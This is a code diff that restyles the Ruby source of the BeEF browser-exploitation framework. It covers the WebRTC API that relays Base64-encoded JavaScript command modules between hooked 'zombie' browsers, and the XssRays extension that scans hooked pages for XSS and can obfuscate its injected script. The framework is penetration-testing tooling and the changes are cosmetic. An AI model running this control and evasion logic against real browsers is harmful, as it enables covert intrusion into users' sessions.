# Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"Connected","created_at":"timestamp","updated_at":"timestamp"}]}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/events/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/events/:id' do
begin
id = params[:id]
events = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => id)
events = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: id)
events_json = []
count = events.length
@@ -192,11 +186,12 @@ module BeEF
'updated_at' => event.updated_at.to_s
}
end
unless events_json.empty?
{
'events_count' => count,
'events' => events_json
}.to_json if not events_json.empty?
}.to_json
end
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -204,30 +199,28 @@ module BeEF
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
end
#
# @note Get the events from the RTCModuleStatus model of a particular browser
# Return JSON with events_count and an array of events associated with command module execute
#
# +++ Example: +++
#GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
# GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
# {"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/cmdevents/:id' do
begin
id = params[:id]
events = BeEF::Core::Models::Rtcmodulestatus.where(:hooked_browser_id => id)
events = BeEF::Core::Models::Rtcmodulestatus.where(hooked_browser_id: id)
events_json = []
count = events.length
@@ -243,11 +236,12 @@ module BeEF
'mod' => event.command_module_id
}
end
unless events_json.empty?
{
'events_count' => count,
'events' => events_json
}.to_json if not events_json.empty?
}.to_json
end
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -255,7 +249,6 @@ module BeEF
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
end
#
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
@@ -265,16 +258,16 @@ module BeEF
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/msg?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "message":"Just a plain message"}
# {"from":1, "to":2, "message":"Just a plain message"}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
@@ -289,27 +282,27 @@ module BeEF
# If the <to> is stealthed, it'll bounce the message back.
# If the <to> is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler
post '/msg' do
begin
body = JSON.parse(request.body.read)
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
message = body['message']
raise InvalidParamError, 'message' if message.nil?
if message === "!gostealth"
stat = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i).first || nil
if message === '!gostealth'
stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil
unless stat.nil?
stat.status = "Selected browser has commanded peer to enter stealth"
stat.status = 'Selected browser has commanded peer to enter stealth'
stat.updated_at = Time.now
stat.save
end
stat2 = BeEF::Core::Models::Rtcstatus.where(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i).first || nil
stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil
unless stat2.nil?
stat2.status = "Peer has commanded selected browser to enter stealth"
stat2.status = 'Peer has commanded selected browser to enter stealth'
stat2.updated_at = Time.now
stat2.save
end
@@ -317,15 +310,14 @@ module BeEF
result = {}
unless [fromhb,tohb,message].include?(nil)
if [fromhb, tohb, message].include?(nil)
result['success'] = false
else
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
result['success'] = true
else
result['success'] = false
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -334,8 +326,6 @@ module BeEF
halt 500
end
end
#
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
# In this instance, the message is a Base64d encoded JS command
@@ -347,16 +337,16 @@ module BeEF
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
# POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
# Host: 127.0.0.1:3000
# Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
# {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
# HTTP/1.1 200 OK
# Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
# {"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
@@ -364,21 +354,25 @@ module BeEF
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
#
post '/cmdexec' do
begin
body = JSON.parse(request.body.read)
fromhb = body['from']
raise InvalidParamError, 'from' if fromhb.nil?
tohb = body['to']
raise InvalidParamError, 'to' if tohb.nil?
cmdid = body['cmdid']
raise InvalidParamError, 'cmdid' if cmdid.nil?
cmdoptions = body['options'] if body['options']
cmdoptions = nil if cmdoptions.eql?("")
cmdoptions = nil if cmdoptions.eql?('')
if [fromhb, tohb, cmdid].include?(nil)
result = {}
result['success'] = false
return result.to_json
end
unless [fromhb,tohb,cmdid].include?(nil)
# Find the module, modify it, send it to be executed on the tohb
# Validate the command module by ID
@@ -401,15 +395,11 @@ module BeEF
).new(key)
# Check for command options
if not cmdoptions.nil?
cmddata = cmdoptions
else
cmddata = []
end
cmddata = cmdoptions.nil? ? [] : cmdoptions
# Get path of source JS
f = command_module.path+'command.js'
error 404 if not File.exists? f
f = "#{command_module.path}command.js"
error 404 unless File.exist? f
# Read file
@eruby = Erubis::FastEruby.new(File.read(f))
@@ -418,44 +408,39 @@ module BeEF
cc = BeEF::Core::CommandContext.new
cc['command_url'] = command_module.default_command_url
cc['command_id'] = command_module.command_id
cmddata.each{|v|
cmddata.each do |v|
cc[v['name']] = v['value']
}
end
# Evalute supplied options
@output = @eruby.evaluate(cc)
# Gsub the output, replacing all beef.net.send commands
# This needs to occur because we want this JS to send messages
# back to the peer browser
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s|
tmpout = "// beef.net.send removed\n"
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
cmdurl = $1.split(',')
cmdurl = Regexp.last_match(1).split(',')
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
tmpout += ") Result: ' + "
tmpout += cmdurl[2]
tmpout += ");"
tmpout += ');'
tmpout
}
end
# Prepend the B64 version of the string with @
# The client JS receives the rtc message, detects the @
# and knows to decode it before execution
msg = "@" + Base64.strict_encode64(@output)
msg = "@#{Base64.strict_encode64(@output)}"
# Finally queue the message in the RTC queue for submission
# from the from browser to the to browser
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
msg)
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg)
result = {}
result['success'] = true
result.to_json
else
result = {}
result['success'] = false
result.to_json
end
rescue JSON::ParserError => e
print_error "Invalid JSON: #{e.message}"
halt 400
@@ -466,35 +451,27 @@ module BeEF
print_error "Internal error while executing command (#{e.message})"
halt 500
end
end
# Raised when invalid JSON input is passed to an /api/webrtc handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/webrtc handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/webrtc handler'
message = format str, message unless message.nil?
super(message)
end
end
end
end
end
end

View File

@@ -4,8 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Xssrays
module Extension
module Xssrays
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
@@ -27,13 +27,13 @@ module Xssrays
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
# checks at every polling if there are new scans to be started
def self.pre_hook_send(hooked_browser, body, params, request, response)
if hooked_browser != nil
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
return if hooked_browser.nil?
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, body)
end
end
end
end
end
end
end

View File

@@ -7,9 +7,7 @@ module BeEF
module Extension
module Xssrays
module API
class Scan
include BeEF::Core::Handlers::Modules::BeEFJS
#
@@ -19,15 +17,15 @@ module BeEF
@body = body
config = BeEF::Core::Configuration.instance
hb = BeEF::Core::Models::HookedBrowser.find(hb.id)
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
xs = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id, :is_started => false).first
# TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
# TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first
# stop here if there are no XssRays scans to be started
return if xs == nil || xs.is_started == true
return if xs.nil? || xs.is_started == true
# set the scan as started
xs.update(:is_started => true)
xs.update(is_started: true)
# build the beefjs xssrays component
@@ -38,21 +36,20 @@ module BeEF
ws = BeEF::Core::Websocket::Websocket.instance
# todo antisnatchor: prevent sending "content" multiple times.
# TODO: antisnatchor: prevent sending "content" multiple times.
# Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
# If we use WebSockets, just reply wih the component contents
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file \'doc/COPYING\' for copying permission
//', "")
//', '')
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
ws.send(evasion.obfuscate(content) + @body, hb.session)
else
@@ -65,19 +62,18 @@ module BeEF
end
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].")
end
def add_to_body(id, session, beefurl, cross_domain, timeout)
config = BeEF::Core::Configuration.instance
req = %Q{
req = %{
beef.execute(function() {
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout});
});
}
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req)
else

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Xssrays
end
end
module Extension
module Xssrays
end
end
end
require 'extensions/xssrays/models/xssraysscan'
@@ -17,4 +16,3 @@ require 'extensions/xssrays/api/scan'
require 'extensions/xssrays/handler'
require 'extensions/xssrays/api'
require 'extensions/xssrays/rest/xssrays'

View File

@@ -6,9 +6,7 @@
module BeEF
module Extension
module Xssrays
class Handler < BeEF::Core::Router::Router
XS = BeEF::Core::Models::Xssraysscan
XD = BeEF::Core::Models::Xssraysdetail
HB = BeEF::Core::Models::HookedBrowser
@@ -18,15 +16,15 @@ module BeEF
# raise an error if it's null or not found in the DB
beef_hook = params[:hbsess] || nil
if beef_hook.nil? || HB.where(:session => beef_hook).first.nil?
print_error "[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database"
if beef_hook.nil? || HB.where(session: beef_hook).first.nil?
print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database'
return
end
# verify the specified ray ID is valid
rays_scan_id = params[:raysid] || nil
if rays_scan_id.nil? || !BeEF::Filters::nums_only?(rays_scan_id)
print_error "[XSSRAYS] Invalid ray ID"
if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id)
print_error '[XSSRAYS] Invalid ray ID'
return
end
@@ -39,7 +37,7 @@ module BeEF
finalize_scan(rays_scan_id)
else
# invalid action
print_error "[XSSRAYS] Invalid action"
print_error '[XSSRAYS] Invalid action'
return
end
@@ -48,25 +46,24 @@ module BeEF
'Expires' => '0',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST,GET'
end
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
def parse_rays(rays_scan_id)
xssrays_scan = XS.find(rays_scan_id)
hooked_browser = HB.where(:session => params[:hbsess]).first
hooked_browser = HB.where(session: params[:hbsess]).first
if xssrays_scan.nil?
print_error "[XSSRAYS] Invalid scan"
print_error '[XSSRAYS] Invalid scan'
return
end
xssrays_detail = XD.new(
:hooked_browser_id => hooked_browser.session,
:vector_name => params[:n],
:vector_method => params[:m],
:vector_poc => params[:p],
:xssraysscan_id => xssrays_scan.id
hooked_browser_id: hooked_browser.session,
vector_name: params[:n],
vector_method: params[:m],
vector_poc: params[:p],
xssraysscan_id: xssrays_scan.id
)
xssrays_detail.save
@@ -79,11 +76,11 @@ module BeEF
xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id)
if xssrays_scan.nil?
print_error "[XSSRAYS] Invalid scan"
print_error '[XSSRAYS] Invalid scan'
return
end
xssrays_scan.update(:is_finished => true, :scan_finish => Time.now)
xssrays_scan.update(is_finished: true, scan_finish: Time.now)
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
end
end

View File

@@ -4,8 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
module Core
module Models
#
# Store the rays details, basically verified XSS vulnerabilities
#
@@ -13,7 +13,6 @@ module Models
belongs_to :hooked_browser
belongs_to :xssraysscan
end
end
end
end
end
end

View File

@@ -4,17 +4,14 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
module Core
module Models
#
# Store the XssRays scans started and finished, with relative ID
#
class Xssraysscan < BeEF::Core::Model
has_many :xssrays_details
end
end
end
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Xssrays
# This class handles the routing of RESTful API requests for XSSRays
class XssraysRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -18,8 +16,8 @@ module BeEF
halt 401 unless params[:token] == config.get('beef.api_token')
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
CLEAN_TIMEOUT = config.get("beef.extension.xssrays.clean_timeout") || 3_000
CROSS_DOMAIN = config.get("beef.extension.xssrays.cross_domain") || true
CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000
CROSS_DOMAIN = config.get('beef.extension.xssrays.cross_domain') || true
HB = BeEF::Core::Models::HookedBrowser
XS = BeEF::Core::Models::Xssraysscan
@@ -33,7 +31,6 @@ module BeEF
# Returns the entire list of rays for all zombies
get '/rays' do
begin
rays = XD.all.distinct.order(:id)
count = rays.length
@@ -48,14 +45,12 @@ module BeEF
print_error "Internal error while retrieving rays (#{e.message})"
halt 500
end
end
# Returns all rays given a specific hooked browser id
get '/rays/:id' do
begin
id = params[:id]
rays = XD.where(:hooked_browser_id => id).distinct.order(:id)
rays = XD.where(hooked_browser_id: id).distinct.order(:id)
count = rays.length
result = {}
@@ -72,11 +67,9 @@ module BeEF
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
halt 500
end
end
# Returns the entire list of scans for all zombies
get '/scans' do
begin
scans = XS.distinct.order(:id)
count = scans.length
@@ -91,20 +84,18 @@ module BeEF
print_error "Internal error while retrieving scans (#{e.message})"
halt 500
end
end
# Returns all scans given a specific hooked browser id
get '/scans/:id' do
begin
id = params[:id]
scans = XS.where(:hooked_browser_id => id).distinct.order(:id)
scans = XS.where(hooked_browser_id: id).distinct.order(:id)
count = scans.length
result = {}
result[:count] = count
result[:scans] = []
scans.each do |scans|
scans.each do |_scans|
result[:scans] << scan2hash(scan)
end
result.to_json
@@ -115,53 +106,52 @@ module BeEF
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
halt 500
end
end
# Starts a new scan on the specified zombie ID
post '/scan/:id' do
begin
id = params[:id]
hooked_browser = HB.where(:session => id).distinct.order(:id).first
hooked_browser = HB.where(session: id).distinct.order(:id).first
if hooked_browser.nil?
print_error "[XSSRAYS] Invalid hooked browser ID"
print_error '[XSSRAYS] Invalid hooked browser ID'
return
end
# set Cross-domain settings
cross_domain = params[:cross_domain].to_s
if cross_domain == ''
cross_domain = CROSS_DOMAIN
elsif cross_domain == 'false'
cross_domain = false
cross_domain = if cross_domain == ''
CROSS_DOMAIN
else
cross_domain = true
cross_domain != 'false'
end
# set clean timeout settings
clean_timeout = params[:clean_timeout].to_s
if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
clean_timeout = CLEAN_TIMEOUT
end
clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
xssrays_scan = XS.new(
:hooked_browser_id => hooked_browser.id,
:scan_start => Time.now,
:domain => hooked_browser.domain,
hooked_browser_id: hooked_browser.id,
scan_start: Time.now,
domain: hooked_browser.domain,
# check also cross-domain URIs found by the crawler
:cross_domain => cross_domain,
cross_domain: cross_domain,
# how long to wait before removing the iFrames from the DOM (5000ms default)
:clean_timeout => clean_timeout
clean_timeout: clean_timeout
)
xssrays_scan.save
print_info("[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], hooked domain [#{hooked_browser.domain}], cross-domain: #{cross_domain}, clean timeout: #{clean_timeout}")
print_info(
"[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \
"hooked domain [#{hooked_browser.domain}], " \
"cross-domain: #{cross_domain}, " \
"clean timeout: #{clean_timeout}"
)
result = scan2hash(xssrays_scan)
print_debug "[XSSRays] New scan: #{result}"
#result.to_json
# result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -169,39 +159,38 @@ module BeEF
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
halt 500
end
end
private
# Convert a ray object to JSON
def ray2hash(ray)
{
:id => ray.id,
:hooked_browser_id => ray.hooked_browser_id,
:vector_name => ray.vector_name,
:vector_method => ray.vector_method,
:vector_poc => ray.vector_poc
id: ray.id,
hooked_browser_id: ray.hooked_browser_id,
vector_name: ray.vector_name,
vector_method: ray.vector_method,
vector_poc: ray.vector_poc
}
end
# Convert a scan object to JSON
def scan2hash(scan)
{
:id => scan.id,
:hooked_browser_id => scan.hooked_browser_id,
:scan_start=> scan.scan_start,
:scan_finish=> scan.scan_finish,
:domain => scan.domain,
:cross_domain => scan.cross_domain,
:clean_timeout => scan.clean_timeout,
:is_started => scan.is_started,
:is_finished => scan.is_finished
id: scan.id,
hooked_browser_id: scan.hooked_browser_id,
scan_start: scan.scan_start,
scan_finish: scan.scan_finish,
domain: scan.domain,
cross_domain: scan.cross_domain,
clean_timeout: scan.clean_timeout,
is_started: scan.is_started,
is_finished: scan.is_finished
}
end
# Raised when invalid JSON input is passed to an /api/xssrays handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
@@ -210,11 +199,11 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/xssrays handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/xssrays handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/xssrays handler'
message = format str, message unless message.nil?
super(message)
end
end